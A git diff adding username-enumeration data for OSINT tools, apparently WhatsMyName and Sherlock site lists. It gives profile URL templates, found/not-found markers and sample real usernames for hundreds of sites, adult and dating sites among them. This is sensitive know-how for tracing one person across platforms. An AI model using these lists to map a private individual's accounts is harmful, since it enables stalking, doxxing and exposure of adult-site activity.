exist", + "m_code" : 404, + "known" : ["Spiken8", "john"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "xHamster", + "uri_check" : "https://xhamster.com/users/{account}", + "e_code" : 200, + "e_string" : "s profile | xHamster", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["john", "tonystark85"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Xing", + "uri_check" : "https://www.xing.com/profile/{account}", + "e_code" : 200, + "e_string" : " | XING", + "m_string" : "Es tut uns leid", + "m_code" : 404, + "known" : ["Andy_Hausmann", "Ramona_Hapke"], + "cat" : "social", + "valid" : true + }, + { + "name" : "XVIDEOS-models", + "uri_check" : "https://www.xvideos.com/models/{account}", + "e_code" : 200, + "e_string" : "Total video views", + "m_string" : "THIS PROFILE DOESN'T EXIST", + "m_code" : 404, + "known" : ["vvalencourt3", "tiffany-tyler"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "XVIDEOS-profiles", + "uri_check" : "https://www.xvideos.com/profiles/{account}", + "e_code" : 200, + "e_string" : "page - XVIDEOS.COM", + "m_string" : "THIS PROFILE DOESN'T EXIST", + "m_code" : 404, + "known" : ["nympho-nailer", "dpadicto", "bkg"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Yahoo! JAPAN Auction", + "uri_check" : "https://auctions.yahoo.co.jp/follow/list/{account}", + "e_code" : 200, + "e_string" : "出品者", + "m_code" : 500, + "m_string" : "Yahoo! JAPAN IDが無効です。", + "known" : ["fltr14502003"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "yapishu", + "uri_check" : "https://yapishu.net/user/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" : "for_profile", + "m_string" : "Not Found (#404)", + "m_code" : 404, + "known" : ["roman", "semion"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Yazawaj", + "uri_check" : "https://www.yazawaj.com/profile/{account}", + "e_code" : 200, + "e_string" : "أنا", + "m_string" : "الصفحة المطلوبة غير موجودة", + "m_code" : 302, + "known" : ["monya14555d", "LordMohy"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Yelp", + "uri_check" : "https://www.yelp.com/user_details?userid={account}", + "e_code" : 200, + "e_string" : "'s Reviews |", + "m_string" : "Doggone it! The page you’re looking for cannot be found.", + "m_code" : 404, + "known" : ["j5CYhsvD2yrunyyoZvSvKA", "GHoG4X4FY8D8L563zzPX5w"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "youpic", + "uri_check" : "https://youpic.com/photographer/{account}", + "e_code" : 200, + "e_string" : "- Photographer - YouPic", + "m_string" : "Welcome to the infamous 404 page - YouPic", + "m_code" : 404, + "known" : ["photodude", "mike"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "YouTube Channel", + "uri_check" : "https://www.youtube.com/c/{account}/about", + "e_code" : 200, + "e_string" : "joinedDateText", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["OvylarockTHR","OSINTDojo"], + "cat" : "video", + "valid" : true + }, + { + "name" : "YouTube User", + "uri_check" : "https://www.youtube.com/user/{account}/about", + "e_code" : 200, + "e_string" : "joinedDateText", + "m_string" : "<title>404 Not Found", + "m_code" : 404, + "known" : ["MicahHoffman","theosintcuriousproject"], + "cat" : "video", + "valid" : true + }, + { + "name" : "YouTube User2", + "uri_check" : "https://www.youtube.com/@{account}", + "e_code" : 200, + "e_string" : "canonicalBaseUrl", + "m_string" : "<title>404 Not Found", + "m_code" : 404, + "known" : ["tactical-systems","CybersecurityMeg"], + "cat" : "video", + "valid" : true + }, + { + "name" : "zatrybi.pl", + "uri_check" : "https://zatrybi.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zarejestrowany od:", + "m_string" : "Nie znaleziono strony", + "m_code" : 404, + "known" : ["Berlinek", "fenrek"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Zbiornik", + "uri_check" : "https://mini.zbiornik.com/{account}", + "e_code" : 200, + "e_string" : "INFO", + "m_string" : "Szukaj", + "m_code" : 200, + "known" : ["69uzytkownik69", "Soif"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "zhihu", + "uri_check" : "https://www.zhihu.com/people/{account}", + "e_code" : 200, + "e_string" : "zhihu:voteupCount", + "m_string" : "ErrorPage-subtitle", + "m_code" : 400, + "known" : ["lushnis", "kan-shu-jiao-hua-shai-tai-yang"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Zillow", + "uri_check" : "https://www.zillow.com/profile/{account}/", + "e_code" : 200, + "e_string" : "- Real Estate Agent", + "m_string" : "", + "m_code" : 302, + "known" : ["JOHN-L-SULLIVAN", "Maggie-Alegria"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "zmarsa.com", + "uri_check" : "https://zmarsa.com/uzytkownik/{account}/glowna/", + "e_code" : 200, + "e_string" : "Galeria użytkownika", + "m_string" : "Błąd na stronie", + "m_code" : 500, + "known" : ["janek", "test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Zomato", + "uri_check" : "https://www.zomato.com/{account}/foodjourney", + "e_code" : 200, + "e_string" : "| Zomato", + "m_string" : "404 | Zomato", + "m_code" : 404, + "known" : ["john", "jess"], + "cat" : "social", + "valid" : true + }, + { + "name" : "zoomitir", + "uri_check" : "https://www.zoomit.ir/user/{account}/", + "e_code" : 200, + "e_string" : "پروفایل - زومیت", + "m_string" : "404 Not found", + "m_code" : 404, + "known" : ["rezaghezi", "hosssssein"], + "cat" : "tech", + "valid" : true + } + ] + } diff --git a/data/sites/sherlock.json b/data/sites/sherlock.json new file mode 100644 index 0000000..e86dd69 --- /dev/null +++ b/data/sites/sherlock.json @@ -0,0 +1,3251 @@ +{ + "$schema": "data.schema.json", + "1337x": { + "errorMsg": [ + "Error something went wrong.", + "404 Not Found" + ], + "errorType": "message", + "regexCheck": "^[A-Za-z0-9]{4,12}$", + "url": "https://www.1337x.to/user/{}/", + "urlMain": "https://www.1337x.to/", + "username_claimed": "FitGirl" + }, + "2Dimensions": { + "errorType": "status_code", + "url": "https://2Dimensions.com/a/{}", + "urlMain": "https://2Dimensions.com/", + "username_claimed": "blue" + }, + "7Cups": { + "errorType": "status_code", + "url": "https://www.7cups.com/@{}", + "urlMain": "https://www.7cups.com/", + "username_claimed": "blue" + }, + "9GAG": { + "errorType": "status_code", + "url": "https://www.9gag.com/u/{}", + "urlMain": "https://www.9gag.com/", + "username_claimed": "blue" + }, + "APClips": { + "errorMsg": "Amateur Porn Content Creators", + "errorType": "message", + "isNSFW": true, + "url": "https://apclips.com/{}", + "urlMain": "https://apclips.com/", + "username_claimed": "onlybbyraq" + }, + "About.me": { + "errorType": "status_code", + "url": "https://about.me/{}", + "urlMain": "https://about.me/", + "username_claimed": "blue" + }, + "Academia.edu": { + "errorType": "status_code", + "regexCheck": "^[^.]*$", + "url": "https://independent.academia.edu/{}", + "urlMain": "https://www.academia.edu/", + "username_claimed": "blue" + }, + "AdmireMe.Vip": { + "errorMsg": "Page Not Found", + "errorType": "message", + "isNSFW": true, + "url": "https://admireme.vip/{}", + "urlMain": "https://admireme.vip/", + "username_claimed": "DemiDevil" + }, + "Airbit": { + "errorType": "status_code", + "url": "https://airbit.com/{}", + "urlMain": "https://airbit.com/", + "username_claimed": "airbit" + }, + "Airliners": { + "errorType": "status_code", + "url": "https://www.airliners.net/user/{}/profile/photos", + "urlMain": "https://www.airliners.net/", + "username_claimed": "yushinlin" + }, + "All Things Worn": { + "errorMsg": "Sell Used Panties", + "errorType": "message", + "isNSFW": true, + "url": "https://www.allthingsworn.com/profile/{}", + "urlMain": "https://www.allthingsworn.com", + "username_claimed": "pink" + }, + "AllMyLinks": { + "errorMsg": "Page not found", + "errorType": "message", + "regexCheck": "^[a-z0-9][a-z0-9-]{2,32}$", + "url": "https://allmylinks.com/{}", + "urlMain": "https://allmylinks.com/", + "username_claimed": "blue" + }, + "AniWorld": { + "errorMsg": "Dieses Profil ist nicht verf\u00fcgbar", + "errorType": "message", + "url": "https://aniworld.to/user/profil/{}", + "urlMain": "https://aniworld.to/", + "username_claimed": "blue" + }, + "Anilist": { + "errorType": "status_code", + "regexCheck": "^[A-Za-z0-9]{2,20}$", + "request_method": "POST", + "request_payload": { + "query": "query($name:String){User(name:$name){id}}", + "variables": { + "name": "{}" + } + }, + "url": "https://anilist.co/user/{}/", + "urlMain": "https://anilist.co/", + "urlProbe": "https://graphql.anilist.co/", + "username_claimed": "Josh" + }, + "Apple Developer": { + "errorType": "status_code", + "url": "https://developer.apple.com/forums/profile/{}", + "urlMain": "https://developer.apple.com", + "username_claimed": "lio24d" + }, + "Apple Discussions": { + "errorMsg": "Looking for something in Apple Support Communities?", + "errorType": "message", + "url": "https://discussions.apple.com/profile/{}", + "urlMain": "https://discussions.apple.com", + "username_claimed": "jason" + }, + "Aparat": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.aparat.com/{}/", + "urlMain": "https://www.aparat.com/", + "urlProbe": "https://www.aparat.com/api/fa/v1/user/user/information/username/{}", + "username_claimed": "jadi" + }, + "Archive of Our Own": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://archiveofourown.org/users/{}", + "urlMain": "https://archiveofourown.org/", + "username_claimed": "test" + }, + "Archive.org": { + "__comment__": "'The resource could not be found' relates to archive downtime", + "errorMsg": [ + "could not fetch an account with user item identifier", + "The resource could not be found", + "Internet Archive services are temporarily offline" + ], + "errorType": "message", + "url": "https://archive.org/details/@{}", + "urlMain": "https://archive.org", + "urlProbe": "https://archive.org/details/@{}?noscript=true", + "username_claimed": "blue" + }, + "Arduino Forum": { + "errorType": "status_code", + "url": "https://forum.arduino.cc/u/{}/summary", + "urlMain": "https://forum.arduino.cc/", + "username_claimed": "system" + }, + "ArtStation": { + "errorType": "status_code", + "url": "https://www.artstation.com/{}", + "urlMain": "https://www.artstation.com/", + "username_claimed": "Blue" + }, + "Asciinema": { + "errorType": "status_code", + "url": "https://asciinema.org/~{}", + "urlMain": "https://asciinema.org", + "username_claimed": "red" + }, + "Ask Fedora": { + "errorType": "status_code", + "url": "https://ask.fedoraproject.org/u/{}", + "urlMain": "https://ask.fedoraproject.org/", + "username_claimed": "red" + }, + "Atcoder": { + "errorType": "status_code", + "url": "https://atcoder.jp/users/{}", + "urlMain": "https://atcoder.jp/", + "username_claimed": "ksun48" + }, + "Vjudge": { + "errorType": "status_code", + "url": "https://VJudge.net/user/{}", + "urlMain": "https://VJudge.net/", + "username_claimed": "tokitsukaze" + }, + "Audiojungle": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]+$", + "url": "https://audiojungle.net/user/{}", + "urlMain": "https://audiojungle.net/", + "username_claimed": "blue" + }, + "Autofrage": { + "errorType": "status_code", + "url": "https://www.autofrage.net/nutzer/{}", + "urlMain": "https://www.autofrage.net/", + "username_claimed": "autofrage" + }, + "Avizo": { + "errorType": "response_url", + "errorUrl": "https://www.avizo.cz/", + "url": "https://www.avizo.cz/{}/", + "urlMain": "https://www.avizo.cz/", + "username_claimed": "blue" + }, + "AWS Skills Profile": { + "errorType": "message", + "errorMsg": "shareProfileAccepted\":false", + "url": "https://skillsprofile.skillbuilder.aws/user/{}/", + "urlMain": "https://skillsprofile.skillbuilder.aws", + "username_claimed": "mayank04pant" + }, + "BOOTH": { + "errorType": "response_url", + "errorUrl": "https://booth.pm/", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.booth.pm/", + "urlMain": "https://booth.pm/", + "username_claimed": "blue" + }, + "Bandcamp": { + "errorType": "status_code", + "url": "https://www.bandcamp.com/{}", + "urlMain": "https://www.bandcamp.com/", + "username_claimed": "blue" + }, + "Bazar.cz": { + "errorType": "response_url", + "errorUrl": "https://www.bazar.cz/error404.aspx", + "url": "https://www.bazar.cz/{}/", + "urlMain": "https://www.bazar.cz/", + "username_claimed": "pianina" + }, + "Behance": { + "errorType": "status_code", + "url": "https://www.behance.net/{}", + "urlMain": "https://www.behance.net/", + "username_claimed": "blue" + }, + "Bezuzyteczna": { + "errorType": "status_code", + "url": "https://bezuzyteczna.pl/uzytkownicy/{}", + "urlMain": "https://bezuzyteczna.pl", + "username_claimed": "Jackson" + }, + "BiggerPockets": { + "errorType": "status_code", + "url": "https://www.biggerpockets.com/users/{}", + "urlMain": "https://www.biggerpockets.com/", + "username_claimed": "blue" + }, + "BioHacking": { + "errorType": "status_code", + "url": "https://forum.dangerousthings.com/u/{}", + "urlMain": "https://forum.dangerousthings.com/", + "username_claimed": "blue" + }, + "BitBucket": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-_]{1,30}$", + "url": "https://bitbucket.org/{}/", + "urlMain": "https://bitbucket.org/", + "username_claimed": "white" + }, + "Bitwarden Forum": { + "errorType": "status_code", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "url": "https://community.bitwarden.com/u/{}/summary", + "urlMain": "https://bitwarden.com/", + "username_claimed": "blue" + }, + "Blipfoto": { + "errorType": "status_code", + "url": "https://www.blipfoto.com/{}", + "urlMain": "https://www.blipfoto.com/", + "username_claimed": "blue" + }, + "Blitz Tactics": { + "errorMsg": "That page doesn't exist", + "errorType": "message", + "url": "https://blitztactics.com/{}", + "urlMain": "https://blitztactics.com/", + "username_claimed": "Lance5500" + }, + "Blogger": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.blogspot.com", + "urlMain": "https://www.blogger.com/", + "username_claimed": "blue" + }, + "Bluesky": { + "errorType": "status_code", + "url": "https://bsky.app/profile/{}.bsky.social", + "urlProbe": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={}.bsky.social", + "urlMain": "https://bsky.app/", + "username_claimed": "mcuban" + }, + "BongaCams": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://pt.bongacams.com/profile/{}", + "urlMain": "https://pt.bongacams.com", + "username_claimed": "asuna-black" + }, + "Bookcrossing": { + "errorType": "status_code", + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "urlMain": "https://www.bookcrossing.com/", + "username_claimed": "blue" + }, + "BoardGameGeek": { + "errorMsg": "\"isValid\":true", + "errorType": "message", + "url": "https://boardgamegeek.com/user/{}", + "urlMain": "https://boardgamegeek.com/", + "urlProbe": "https://api.geekdo.com/api/accounts/validate/username?username={}", + "username_claimed": "blue" + }, + "BraveCommunity": { + "errorType": "status_code", + "url": "https://community.brave.com/u/{}/", + "urlMain": "https://community.brave.com/", + "username_claimed": "blue" + }, + "BreachSta.rs Forum": { + "errorMsg": "Error - BreachStars", + "errorType": "message", + "url": "https://breachsta.rs/profile/{}", + "urlMain": "https://breachsta.rs/", + "username_claimed": "Sleepybubble" + }, + "BugCrowd": { + "errorType": "status_code", + "url": "https://bugcrowd.com/{}", + "urlMain": "https://bugcrowd.com/", + "username_claimed": "ppfeister" + }, + "BuyMeACoffee": { + "errorType": "status_code", + "regexCheck": "[a-zA-Z0-9]{3,15}", + "url": "https://buymeacoff.ee/{}", + "urlMain": "https://www.buymeacoffee.com/", + "urlProbe": "https://www.buymeacoffee.com/{}", + "username_claimed": "red" + }, + "BuzzFeed": { + "errorType": "status_code", + "url": "https://buzzfeed.com/{}", + "urlMain": "https://buzzfeed.com/", + "username_claimed": "blue" + }, + "Cfx.re Forum": { + "errorType": "status_code", + "url": "https://forum.cfx.re/u/{}/summary", + "urlMain": "https://forum.cfx.re", + "username_claimed": "hightowerlssd" + }, + "CGTrader": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.cgtrader.com/{}", + "urlMain": "https://www.cgtrader.com", + "username_claimed": "blue" + }, + "CNET": { + "errorType": "status_code", + "regexCheck": "^[a-z].*$", + "url": "https://www.cnet.com/profiles/{}/", + "urlMain": "https://www.cnet.com/", + "username_claimed": "melliott" + }, + "CSSBattle": { + "errorType": "status_code", + "url": "https://cssbattle.dev/player/{}", + "urlMain": "https://cssbattle.dev", + "username_claimed": "beo" + }, + "CTAN": { + "errorType": "status_code", + "url": "https://ctan.org/author/{}", + "urlMain": "https://ctan.org/", + "username_claimed": "briggs" + }, + "Caddy Community": { + "errorType": "status_code", + "url": "https://caddy.community/u/{}/summary", + "urlMain": "https://caddy.community/", + "username_claimed": "taako_magnusen" + }, + "Car Talk Community": { + "errorType": "status_code", + "url": "https://community.cartalk.com/u/{}/summary", + "urlMain": "https://community.cartalk.com/", + "username_claimed": "always_fixing" + }, + "Carbonmade": { + "errorType": "response_url", + "errorUrl": "https://carbonmade.com/fourohfour?domain={}.carbonmade.com", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.carbonmade.com", + "urlMain": "https://carbonmade.com/", + "username_claimed": "jenny" + }, + "Career.habr": { + "errorMsg": "

    \u041e\u0448\u0438\u0431\u043a\u0430 404

    ", + "errorType": "message", + "url": "https://career.habr.com/{}", + "urlMain": "https://career.habr.com/", + "username_claimed": "blue" + }, + "CashApp": { + "errorType": "status_code", + "url": "https://cash.app/${}", + "urlMain": "https://cash.app", + "username_claimed": "hotdiggitydog" + }, + "Championat": { + "errorType": "status_code", + "url": "https://www.championat.com/user/{}", + "urlMain": "https://www.championat.com/", + "username_claimed": "blue" + }, + "Chaos": { + "errorType": "status_code", + "url": "https://chaos.social/@{}", + "urlMain": "https://chaos.social/", + "username_claimed": "ordnung" + }, + "Chatujme.cz": { + "errorMsg": "Neexistujic\u00ed profil", + "errorType": "message", + "regexCheck": "^[a-zA-Z][a-zA-Z1-9_-]*$", + "url": "https://profil.chatujme.cz/{}", + "urlMain": "https://chatujme.cz/", + "username_claimed": "david" + }, + "ChaturBate": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://chaturbate.com/{}", + "urlMain": "https://chaturbate.com", + "username_claimed": "cute18cute" + }, + "Chess": { + "errorMsg": "Username is valid", + "errorType": "message", + "regexCheck": "^[a-z1-9]{3,25}$", + "url": "https://www.chess.com/member/{}", + "urlMain": "https://www.chess.com/", + "urlProbe": "https://www.chess.com/callback/user/valid?username={}", + "username_claimed": "blue" + }, + "Choice Community": { + "errorType": "status_code", + "url": "https://choice.community/u/{}/summary", + "urlMain": "https://choice.community/", + "username_claimed": "gordon" + }, + "Clapper": { + "errorType": "status_code", + "url": "https://clapperapp.com/{}", + "urlMain": "https://clapperapp.com/", + "username_claimed": "blue" + }, + "CloudflareCommunity": { + "errorType": "status_code", + "url": "https://community.cloudflare.com/u/{}", + "urlMain": "https://community.cloudflare.com/", + "username_claimed": "blue" + }, + "Clozemaster": { + "errorMsg": "Oh no! Player not found.", + "errorType": "message", + "url": "https://www.clozemaster.com/players/{}", + "urlMain": "https://www.clozemaster.com", + "username_claimed": "green" + }, + "Clubhouse": { + "errorType": "status_code", + "url": "https://www.clubhouse.com/@{}", + "urlMain": "https://www.clubhouse.com", + "username_claimed": "waniathar" + }, + "Code Snippet Wiki": { + "errorMsg": "This user has not filled out their profile page yet", + "errorType": "message", + "url": "https://codesnippets.fandom.com/wiki/User:{}", + "urlMain": "https://codesnippets.fandom.com", + "username_claimed": "bob" + }, + "Codeberg": { + "errorType": "status_code", + "url": "https://codeberg.org/{}", + "urlMain": "https://codeberg.org/", + "username_claimed": "blue" + }, + "Codecademy": { + "errorMsg": "This profile could not be found", + "errorType": "message", + "url": "https://www.codecademy.com/profiles/{}", + "urlMain": "https://www.codecademy.com/", + "username_claimed": "blue" + }, + "Codechef": { + "errorType": "response_url", + "errorUrl": "https://www.codechef.com/", + "url": "https://www.codechef.com/users/{}", + "urlMain": "https://www.codechef.com/", + "username_claimed": "blue" + }, + "Codeforces": { + "errorType": "status_code", + "url": "https://codeforces.com/profile/{}", + "urlMain": "https://codeforces.com/", + "urlProbe": "https://codeforces.com/api/user.info?handles={}", + "username_claimed": "tourist" + }, + "Codepen": { + "errorType": "status_code", + "url": "https://codepen.io/{}", + "urlMain": "https://codepen.io/", + "username_claimed": "blue" + }, + "Coders Rank": { + "errorMsg": "not a registered member", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "url": "https://profile.codersrank.io/user/{}/", + "urlMain": "https://codersrank.io/", + "username_claimed": "rootkit7628" + }, + "Coderwall": { + "errorType": "status_code", + "url": "https://coderwall.com/{}", + "urlMain": "https://coderwall.com", + "username_claimed": "hacker" + }, + "CodeSandbox": { + "errorType": "message", + "errorMsg": "Could not find user with username", + "regexCheck": "^[a-zA-Z0-9_-]{3,30}$", + "url": "https://codesandbox.io/u/{}", + "urlProbe": "https://codesandbox.io/api/v1/users/{}", + "urlMain": "https://codesandbox.io", + "username_claimed": "icyjoseph" + }, + "Codewars": { + "errorType": "status_code", + "url": "https://www.codewars.com/users/{}", + "urlMain": "https://www.codewars.com", + "username_claimed": "example" + }, + "Codolio": { + "errorType": "message", + "errorMsg": "Page Not Found | Codolio", + "url": "https://codolio.com/profile/{}", + "urlMain": "https://codolio.com/", + "username_claimed": "testuser", + "regexCheck": "^[a-zA-Z0-9_-]{3,30}$" + }, + "Coinvote": { + "errorType": "status_code", + "url": "https://coinvote.cc/profile/{}", + "urlMain": "https://coinvote.cc/", + "username_claimed": "blue" + }, + "ColourLovers": { + "errorType": "status_code", + "url": "https://www.colourlovers.com/lover/{}", + "urlMain": "https://www.colourlovers.com/", + "username_claimed": "blue" + }, + "Contently": { + "errorType": "response_url", + "errorUrl": "https://contently.com", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.contently.com/", + "urlMain": "https://contently.com/", + "username_claimed": "jordanteicher" + }, + "Coroflot": { + "errorType": "status_code", + "url": "https://www.coroflot.com/{}", + "urlMain": "https://coroflot.com/", + "username_claimed": "blue" + }, + "Cplusplus": { + "errorType": "message", + "errorMsg": "404 Page Not Found", + "url": "https://cplusplus.com/user/{}", + "urlMain": "https://cplusplus.com", + "username_claimed": "mbozzi" + }, + "Cracked": { + "errorType": "response_url", + "errorUrl": "https://www.cracked.com/", + "url": "https://www.cracked.com/members/{}/", + "urlMain": "https://www.cracked.com/", + "username_claimed": "blue" + }, + "Cracked Forum": { + "errorMsg": "The member you specified is either invalid or doesn't exist", + "errorType": "message", + "url": "https://cracked.sh/{}", + "urlMain": "https://cracked.sh/", + "username_claimed": "Blue" + }, + "Credly": { + "errorType": "status_code", + "url": "https://www.credly.com/users/{}", + "urlMain": "https://www.credly.com/", + "username_claimed": "credly" + }, + "Crevado": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.crevado.com", + "urlMain": "https://crevado.com/", + "username_claimed": "blue" + }, + "Crowdin": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9._-]{2,255}$", + "url": "https://crowdin.com/profile/{}", + "urlMain": "https://crowdin.com/", + "username_claimed": "blue" + }, + "CryptoHack": { + "errorType": "response_url", + "errorUrl": "https://cryptohack.org/", + "url": "https://cryptohack.org/user/{}/", + "urlMain": "https://cryptohack.org/", + "username_claimed": "blue" + }, + "Cryptomator Forum": { + "errorType": "status_code", + "url": "https://community.cryptomator.org/u/{}", + "urlMain": "https://community.cryptomator.org/", + "username_claimed": "michael" + }, + "Cults3D": { + "errorMsg": "Oh dear, this page is not working!", + "errorType": "message", + "url": "https://cults3d.com/en/users/{}/creations", + "urlMain": "https://cults3d.com/en", + "username_claimed": "brown" + }, + "CyberDefenders": { + "errorType": "status_code", + "regexCheck": "^[^\\/:*?\"<>|@]{3,50}$", + "request_method": "GET", + "url": "https://cyberdefenders.org/p/{}", + "urlMain": "https://cyberdefenders.org/", + "username_claimed": "mlohn" + }, + "DEV Community": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://dev.to/{}", + "urlMain": "https://dev.to/", + "username_claimed": "blue" + }, + "DMOJ": { + "errorMsg": "No such user", + "errorType": "message", + "url": "https://dmoj.ca/user/{}", + "urlMain": "https://dmoj.ca/", + "username_claimed": "junferno" + }, + "DailyMotion": { + "errorType": "status_code", + "url": "https://www.dailymotion.com/{}", + "urlMain": "https://www.dailymotion.com/", + "username_claimed": "blue" + }, + "dcinside": { + "errorType": "status_code", + "url": "https://gallog.dcinside.com/{}", + "urlMain": "https://www.dcinside.com/", + "username_claimed": "anrbrb" + }, + "Dealabs": { + "errorMsg": "La page que vous essayez", + "errorType": "message", + "regexCheck": "[a-z0-9]{4,16}", + "url": "https://www.dealabs.com/profile/{}", + "urlMain": "https://www.dealabs.com/", + "username_claimed": "blue" + }, + "DeviantArt": { + "errorType": "message", + "errorMsg": "Llama Not Found", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://www.deviantart.com/{}", + "urlMain": "https://www.deviantart.com/", + "username_claimed": "blue" + }, + "DigitalSpy": { + "errorMsg": "The page you were looking for could not be found.", + "errorType": "message", + "url": "https://forums.digitalspy.com/profile/{}", + "urlMain": "https://forums.digitalspy.com/", + "username_claimed": "blue", + "regexCheck": "^\\w{3,20}$" + }, + "Discogs": { + "errorType": "status_code", + "url": "https://www.discogs.com/user/{}", + "urlMain": "https://www.discogs.com/", + "username_claimed": "blue" + }, + "Discord": { + "errorType": "message", + "url": "https://discord.com", + "urlMain": "https://discord.com/", + "urlProbe": "https://discord.com/api/v9/unique-username/username-attempt-unauthed", + "errorMsg": ["{\"taken\":false}", "The resource is being rate limited"], + "request_method": "POST", + "request_payload": { + "username": "{}" + }, + "headers": { + "Content-Type": "application/json" + }, + "username_claimed": "blue" + }, + "Discord.bio": { + "errorType": "message", + "errorMsg": "Server Error (500)", + "url": "https://discords.com/api-v2/bio/details/{}", + "urlMain": "https://discord.bio/", + "username_claimed": "robert" + }, + "Discuss.Elastic.co": { + "errorType": "status_code", + "url": "https://discuss.elastic.co/u/{}", + "urlMain": "https://discuss.elastic.co/", + "username_claimed": "blue" + }, + "Diskusjon.no": { + "errorMsg": "{\"result\":\"ok\"}", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.-]{3,40}$", + "urlProbe": "https://www.diskusjon.no/?app=core&module=system&controller=ajax&do=usernameExists&input={}", + "url": "https://www.diskusjon.no", + "urlMain": "https://www.diskusjon.no", + "username_claimed": "blue" + }, + "Disqus": { + "errorType": "status_code", + "url": "https://disqus.com/{}", + "urlMain": "https://disqus.com/", + "username_claimed": "blue" + }, + "Docker Hub": { + "errorType": "status_code", + "url": "https://hub.docker.com/u/{}/", + "urlMain": "https://hub.docker.com/", + "urlProbe": "https://hub.docker.com/v2/users/{}/", + "username_claimed": "blue" + }, + "Dribbble": { + "errorMsg": "Whoops, that page is gone.", + "errorType": "message", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://dribbble.com/{}", + "urlMain": "https://dribbble.com/", + "username_claimed": "blue" + }, + "Duolingo": { + "errorMsg": "{\"users\":[]}", + "errorType": "message", + "url": "https://www.duolingo.com/profile/{}", + "urlMain": "https://duolingo.com/", + "urlProbe": "https://www.duolingo.com/2017-06-30/users?username={}", + "username_claimed": "blue" + }, + "Eintracht Frankfurt Forum": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://community.eintracht.de/fans/{}", + "urlMain": "https://community.eintracht.de/", + "username_claimed": "mmammu" + }, + "Empretienda AR": { + "__comment__": "Note that Error Connecting responses may be indicative of unclaimed handles", + "errorType": "status_code", + "url": "https://{}.empretienda.com.ar", + "urlMain": "https://empretienda.com", + "username_claimed": "camalote" + }, + "Envato Forum": { + "errorType": "status_code", + "url": "https://forums.envato.com/u/{}", + "urlMain": "https://forums.envato.com/", + "username_claimed": "enabled" + }, + "Erome": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.erome.com/{}", + "urlMain": "https://www.erome.com/", + "username_claimed": "bob" + }, + "Exposure": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-]{1,63}$", + "url": "https://{}.exposure.co/", + "urlMain": "https://exposure.co/", + "username_claimed": "jonasjacobsson" + }, + "exophase": { + "errorType": "status_code", + "url": "https://www.exophase.com/user/{}/", + "urlMain": "https://www.exophase.com/", + "username_claimed": "blue" + }, + "EyeEm": { + "errorType": "status_code", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "username_claimed": "blue" + }, + "F3.cool": { + "errorType": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "username_claimed": "blue" + }, + "Fameswap": { + "errorType": "status_code", + "url": "https://fameswap.com/user/{}", + "urlMain": "https://fameswap.com/", + "username_claimed": "fameswap" + }, + "Fandom": { + "errorType": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "username_claimed": "Jungypoo" + }, + "Fanpop": { + "errorType": "response_url", + "errorUrl": "https://www.fanpop.com/", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "username_claimed": "blue" + }, + "Finanzfrage": { + "errorType": "status_code", + "url": "https://www.finanzfrage.net/nutzer/{}", + "urlMain": "https://www.finanzfrage.net/", + "username_claimed": "finanzfrage" + }, + "Flickr": { + "errorType": "status_code", + "url": "https://www.flickr.com/people/{}", + "urlMain": "https://www.flickr.com/", + "username_claimed": "blue" + }, + "Flightradar24": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{3,20}$", + "url": "https://my.flightradar24.com/{}", + "urlMain": "https://www.flightradar24.com/", + "username_claimed": "jebbrooks" + }, + "Flipboard": { + "errorType": "status_code", + "regexCheck": "^([a-zA-Z0-9_]){1,15}$", + "url": "https://flipboard.com/@{}", + "urlMain": "https://flipboard.com/", + "username_claimed": "blue" + }, + "Football": { + "errorMsg": 